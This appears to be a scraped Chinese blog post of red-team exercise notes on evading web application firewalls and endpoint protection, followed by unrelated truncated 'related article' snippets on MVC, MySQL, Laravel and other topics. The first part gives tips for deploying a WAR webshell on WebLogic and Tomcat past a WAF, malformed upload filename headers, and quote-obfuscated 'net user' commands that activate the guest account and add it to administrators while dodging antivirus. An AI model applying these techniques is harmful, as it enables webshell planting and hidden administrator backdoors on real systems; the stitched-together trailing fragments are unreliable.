护网期间遇到的几个上传bypass waf、edr
1. weblogic部署war的时候 http/1.1 改成http/2绕过waf
其实jar和ear部署应该也可以，但是我没成功。
weblogoic 部署war死活出错，用linux下的浏览器
linux下打包war马 zip -r zipjob4.zip job/
mv zipjob3.zip zipjob3.war
然后部署成功之后，记得访问上zipjob3/job/index.jsp
2. tomcat windows的话部署 1.war变成 1.w/a/r 应该是 1.w\a\r
3. 上传绕过waf
filename="x.jsp" 换成 filename == x.jsp 还不行把 把band--- = 后面加空格、反复测试就行了，先确认改了也能上传在考虑是不是能绕waf
4. 火绒加用户绕过
n"e"t us"e"r guest 1q.asd
n"e"t us"e"r guest /active:yes
n"e"t loc"a"lgroup administrators guest /add
相关文章：
护网期间遇到的几个上传bypass waf、edr
1. weblogic部署war的时候 http/1.1 改成http/2绕过waf 其实jar和ear部署应该也可以，但是我没成功。 weblogoic 部署war死活出错，用linux下的浏览器 linux下打包war马 zip -r zipjob4.zip job/ mv zipjob3.zip zipjob3.war 然后部署成功之后&am…...
简述MVC模式
这里为什么讲MVC模式，是因为在学习的过程中，很多人不知怎的，将观察者模式和MVC混为一谈。MVC模式最开始出现在WEB开发中，该模式能够很好的做到软件模块的高内聚，低耦合，所以其思想逐渐在各个软件开发领域都…...
C#--Mapster(高性能映射)用法
1.Nuget安装Mapster包引用 2.界面XAML部分 <Window x:Class"WpfApp35.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d"http://schemas.m…...
mysql实战——Mysql8.0高可用之双主+keepalived
一、介绍 利用keepalived实现Mysql数据库的高可用，KeepalivedMysql双主来实现MYSQL-HA，两台Mysql数据库的数据保持完全一致，实现方法是两台Mysql互为主从关系，通过keepalived配置VIP，实现当其中的一台Mysql数据库宕机…...
关于同一个地址用作两个不同页面时，列表操作栏按钮混淆状态
同一个地址用作两个不同页面时，列表页的操作栏中有好多个按钮，如果用了v-if，可能会导致按钮混淆状态如disabled等属性混乱 解决方法1： 将v-if换成v-show，用了v-show之后意味着所有按钮都在只是在页面上隐藏了 解决方…...
Oracle段延迟分配（Deferred Segment Creation）解析
目录 一、基本概念二、工作原理三、优势四、潜在风险与注意事项五、配置与管理 Oracle段延迟分配（Deferred Segment Creation）是Oracle 11g引入的一项重要特性，旨在优化资源使用和提高数据库管理效率。 一、基本概念 段延迟分配意味着当创建…...
Linux：IPC - System V
Linux：IPC - System V 共享内存 shm创建共享内存shmgetshmctlftok 挂接共享内存shmatshmdt shm特性 消息队列 msgmsggetmsgctlmsgsndmsgrcv 信号量 semSystem V 管理机制 System V IPC 是Linux系统中一种重要的进程间通信机制，它主要包括共享内存 shm&am…...
Laravel 图片添加水印
和这个配合使用 Laravel ThinkPhP 海报生成_laravel 制作海报-CSDN博客 代码 //水印 $x_length $imageInfo[0]; $y_length $imageInfo[1];$color imagecolorallocatealpha($posterImage, 255, 255, 255, 70); // 增加透明度参数alpha$font_size 40; //字体大小 $angle …...
嵌入式进阶——矩阵键盘
🎬 秋野酱：《个人主页》 🔥 个人专栏:《Java专栏》《Python专栏》 ⛺️心若有所向往,何惧道阻且长 文章目录 矩阵按键原理图按键状态检测单行按键状态检测多行按键状态检测 状态记录状态优化循环优化 矩阵按键 矩阵键盘是一种常见的数字输入…...
请说出vue.cli项目中src目录每个文件夹和文件的用法
在Vue CLI项目中，src目录是存放项目源码及需要引用的资源文件的主要位置。以下是src目录下常见文件夹和文件的用法： components 用途：存放可重用的Vue组件。这些组件通常用于在多个页面或布局中共享UI和功能。特点：组件应该是模块…...
)
【MySQL精通之路】InnoDB磁盘I/O和文件空间管理(11)
主博客： 【MySQL精通之路】InnoDB存储引擎-CSDN博客 目录 1.InnoDB磁盘I/O 1.1 预读 1.2 双写缓冲区 2.文件空间管理 2.1 Pages, Extents, Segments, and Tablespaces（很重要） 2.2 配置保留文件段页面的百分比 2.3 页与表行的关系 …...
基于springboot+html的二手交易平台（附源码）
基于springboothtml的二手交易平台 介绍部分界面截图如下联系我 介绍 本系统是基于springboothtml的二手交易平台，数据库为mysql，可用于毕设或学习，附数据库 部分界面截图如下 联系我 VX：Zzllh_...
正点原子[第二期]Linux之ARM（MX6U）裸机篇学习笔记-24.3,4 SPI驱动实验-I.MX6U SPI 寄存器
前言： 本文是根据哔哩哔哩网站上“正点原子[第二期]Linux之ARM（MX6U）裸机篇”视频的学习笔记，在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。…...
【Pandas】数据处理方法
1.数据拆分 pandas.Series.str.extract() Series.str.extract(pat, flags0, expandTrue)[source]extract(提取) 参数 pat: 带分组的正则表达式。 flag: re模块中的标志，例如re.IGNORECASE，修改正则表达式匹配的大小写、空格等 expand: 默认为True&…...
【ArcGIS For JS】前端geojson渲染行政区划图层并加标签
原理 通过DataV工具 生成行政区的geojson（得到各区的面元素数据）, 随后使用手动绘制featureLayer与Label，并加载到地图。 //vue3加载geojson数据public/geojson/pt.json,在MapView渲染上加载geojson数据 type是"MultiPolygon"fetc…...
Spring AOP原理详解：动态代理与实际应用
1. Spring AOP概述 1.1 什么是AOP AOP（Aspect-Oriented Programming，面向切面编程）是一种编程范式，旨在将横切关注点（Cross-Cutting Concerns）从业务逻辑中分离出来。横切关注点是指那些分散在应用程序多…...
死锁的四个必要条件
死锁的四个必要条件如下： 互斥条件（Mutual Exclusion）：资源是独占的，即在同一时间内一个资源只能被一个进程或线程所使用，其他进程或线程无法访问该资源。 请求与保持条件（Hold and Wait&#…...
源网络地址转换SNAT
左上角的是访问互联网发送的数据包，第一个是访问，第二个是网页传回来的 3、4项是源端口号和目的端口号（3是随机的（1024-65535），那个是http的网页服务端口就是80） 那么往回传数据的时候源和目的…...
【算法】平衡二叉搜索树的左旋和右旋
树旋转是一种维护平衡树结构的重要操作，主要用于平衡二叉搜索树（如AVL树和红黑树）。树旋转分为左旋和右旋。 1. 树旋转的定义 左旋 (Left Rotation) 左旋操作将节点及其右子树进行调整，使其右子树的左子节点成为根节点…...
介绍Django Ninja框架
文章目录 安装快速开始特性详解自动文档生成定义请求和响应模型异步支持中间件支持测试客户端 结论 Django Ninja是一个基于Python的快速API开发框架，它结合了Django和FastAPI的优点，提供了简单易用的方式来构建高性能的Web API。 安装 使用以下命令安…...
4大维度解锁TrafficMonitor插件扩展能力：定制化系统监控全攻略
4大维度解锁TrafficMonitor插件扩展能力：定制化系统监控全攻略 【免费下载链接】TrafficMonitorPlugins 用于TrafficMonitor的插件 项目地址: https://gitcode.com/gh_mirrors/tr/TrafficMonitorPlugins 价值定位：为什么需要TrafficMonitor插件系…...
Electron打包踩坑实录：解决‘xx.asar does not exist‘报错的完整配置指南
Electron打包实战：彻底解决xx.asar does not exist报错的深度指南 当你满怀期待地运行electron-builder命令，却在终端看到刺眼的红色报错——"Application entry file xx.asar does not exist"，那一刻的挫败感，每个Ele…...
丹青幻境部署案例：高校数字艺术实验室低成本GPU算力复用方案
丹青幻境部署案例：高校数字艺术实验室低成本GPU算力复用方案 1. 项目背景与挑战 很多高校的数字艺术、动画设计或新媒体专业，都面临一个共同的难题：教学和创作需要强大的AI绘图能力，但专门采购一批高性能GPU服务器，预…...
、resource()和prompt()装饰器，从源码理解到实战避坑)
别再当黑匣子用了！手把手教你用FastMCP的tool()、resource()和prompt()装饰器，从源码理解到实战避坑
FastMCP装饰器深度解析：从tool()到prompt()的实战进阶指南 1. 为什么需要理解装饰器内部机制？ 在Python开发领域，装饰器(Decorator)是一种强大的元编程工具，而FastMCP框架中的tool()、resource()和prompt()装饰器更是将这一理念发…...
突破性Unity游戏插件框架实战指南：BepInEx从零到精通的完全手册
突破性Unity游戏插件框架实战指南：BepInEx从零到精通的完全手册 【免费下载链接】BepInEx Unity / XNA game patcher and plugin framework 项目地址: https://gitcode.com/GitHub_Trending/be/BepInEx BepInEx是一款专为Unity游戏设计的革命性插件框架&…...
WarcraftHelper：魔兽争霸3现代系统兼容性优化终极指南 [特殊字符]
WarcraftHelper：魔兽争霸3现代系统兼容性优化终极指南 🎮 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还在为魔兽争霸3在现…...
Simple Form终极指南：如何快速构建高效Rails表单验证系统
Simple Form终极指南：如何快速构建高效Rails表单验证系统 【免费下载链接】simple_form Forms made easy for Rails! Its tied to a simple DSL, with no opinion on markup. 项目地址: https://gitcode.com/gh_mirrors/si/simple_form Simple Form是一款强大…...
分块技术全解析：长上下文没有杀死它，反而让它成了 RAG 的核心命门
随着 GPT-4o、Claude 3.7 等大模型将上下文窗口推至百万 Token 级别，行业里出现了一种极具误导性的声音：“长上下文已经让文本分块（Chunking）技术彻底过时了”。但现实恰恰相反，长上下文不仅没有淘汰分块，反…...
Hunyuan-MT-7B应用实践：出版社AI辅助审校系统——中英日韩多语对照翻译
Hunyuan-MT-7B应用实践：出版社AI辅助审校系统——中英日韩多语对照翻译 1. 项目背景与需求 在全球化出版时代，出版社经常需要处理多语言内容的翻译和审校工作。传统的人工翻译流程存在效率低、成本高、一致性差等问题，特别是当中英日韩等多…...
OpenClaw新手避坑指南：nanobot部署5大常见配置错误
OpenClaw新手避坑指南：nanobot部署5大常见配置错误 1. 为什么需要这份避坑指南 上周我在本地部署OpenClaw的nanobot时，经历了整整两天的痛苦调试。明明按照文档一步步操作，却总是卡在奇怪的错误上。最崩溃的是，有些问题在官方文…...